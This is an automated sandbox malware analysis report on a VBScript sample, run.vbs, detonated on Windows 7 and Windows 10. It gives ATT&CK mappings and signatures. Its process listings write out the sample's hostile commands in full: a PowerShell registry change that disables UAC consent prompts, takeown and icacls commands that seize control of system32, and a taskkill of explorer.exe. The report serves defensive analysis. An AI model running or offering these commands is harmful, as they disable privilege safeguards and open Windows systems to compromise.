Malware Analysis Report

2024-09-11 05:43

Sample ID 240607-xgyyjsca81
Target run.vbs
SHA256 ba61368b2186b2ac09560f0d281f8ef6a1ee440884fb407ddb9b9c758a38a4a3
Tags
discovery evasion exploit trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

ba61368b2186b2ac09560f0d281f8ef6a1ee440884fb407ddb9b9c758a38a4a3

Threat Level: Known bad

The file run.vbs was found to be: Known bad.

Malicious Activity Summary

discovery evasion exploit trojan

UAC bypass

Possible privilege escalation attempt

Checks computer location settings

Modifies file permissions

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Kills process with taskkill

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Privilege Escalation
TA0004
Abuse Elevation Control Mechanism
T1548
Bypass User Account Control
T1548.002
Defense Evasion
TA0005
Abuse Elevation Control Mechanism
T1548
Bypass User Account Control
T1548.002
Impair Defenses
T1562
Disable or Modify Tools
T1562.001
Modify Registry
T1112
File and Directory Permissions Modification
T1222
Credential Access
TA0006
Discovery
TA0007
System Information Discovery
T1082
Query Registry
T1012
Lateral Movement
TA0008
Collection
TA0009
Exfiltration
TA0010
Command and Control
TA0011
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-06-07 18:50

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-07 18:50

Reported

2024-06-07 18:52

Platform

win7-20240215-en

Max time kernel

121s

Max time network

122s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\run.vbs"

Signatures

UAC bypass

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\System32\takeown.exe N/A
N/A N/A C:\Windows\System32\icacls.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\System32\takeown.exe N/A
N/A N/A C:\Windows\System32\icacls.exe N/A

Enumerates physical storage devices

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\System32\taskkill.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\takeown.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1920 wrote to memory of 2960 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\taskkill.exe
PID 1920 wrote to memory of 2960 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\taskkill.exe
PID 1920 wrote to memory of 2960 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\taskkill.exe
PID 1920 wrote to memory of 328 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1920 wrote to memory of 328 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1920 wrote to memory of 328 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1920 wrote to memory of 2548 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\takeown.exe
PID 1920 wrote to memory of 2548 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\takeown.exe
PID 1920 wrote to memory of 2548 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\takeown.exe
PID 1920 wrote to memory of 2468 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\icacls.exe
PID 1920 wrote to memory of 2468 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\icacls.exe
PID 1920 wrote to memory of 2468 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\icacls.exe

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\run.vbs"

C:\Windows\System32\taskkill.exe

"C:\Windows\System32\taskkill.exe" /f /im explorer.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0

C:\Windows\System32\takeown.exe

"C:\Windows\System32\takeown.exe" /F c:\windows\system32\

C:\Windows\System32\icacls.exe

"C:\Windows\System32\icacls.exe" c:\windows\system32\ /P John:F

Network

N/A

Files

memory/328-4-0x000000001B5B0000-0x000000001B892000-memory.dmp

memory/328-5-0x0000000001F00000-0x0000000001F08000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-07 18:50

Reported

2024-06-07 18:52

Platform

win10v2004-20240508-en

Max time kernel

149s

Max time network

151s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\run.vbs"

Signatures

UAC bypass

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\System32\takeown.exe N/A
N/A N/A C:\Windows\System32\icacls.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\System32\takeown.exe N/A
N/A N/A C:\Windows\System32\icacls.exe N/A

Enumerates physical storage devices

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\System32\taskkill.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\takeown.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1100 wrote to memory of 1940 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\taskkill.exe
PID 1100 wrote to memory of 1940 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\taskkill.exe
PID 1100 wrote to memory of 2536 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1100 wrote to memory of 2536 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1100 wrote to memory of 3980 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\takeown.exe
PID 1100 wrote to memory of 3980 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\takeown.exe
PID 1100 wrote to memory of 4416 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\icacls.exe
PID 1100 wrote to memory of 4416 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\icacls.exe

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\run.vbs"

C:\Windows\System32\taskkill.exe

"C:\Windows\System32\taskkill.exe" /f /im explorer.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0

C:\Windows\System32\takeown.exe

"C:\Windows\System32\takeown.exe" /F c:\windows\system32\

C:\Windows\System32\icacls.exe

"C:\Windows\System32\icacls.exe" c:\windows\system32\ /P John:F

Network

Country Destination Domain Proto
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 76.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 145.83.221.88.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 21.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 208.143.182.52.in-addr.arpa udp

Files

memory/2536-0-0x00007FFC188F3000-0x00007FFC188F5000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_grdjji04.ljz.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2536-10-0x00000240BE2B0000-0x00000240BE2D2000-memory.dmp

memory/2536-11-0x00007FFC188F0000-0x00007FFC193B1000-memory.dmp

memory/2536-12-0x00007FFC188F0000-0x00007FFC193B1000-memory.dmp

memory/2536-15-0x00007FFC188F0000-0x00007FFC193B1000-memory.dmp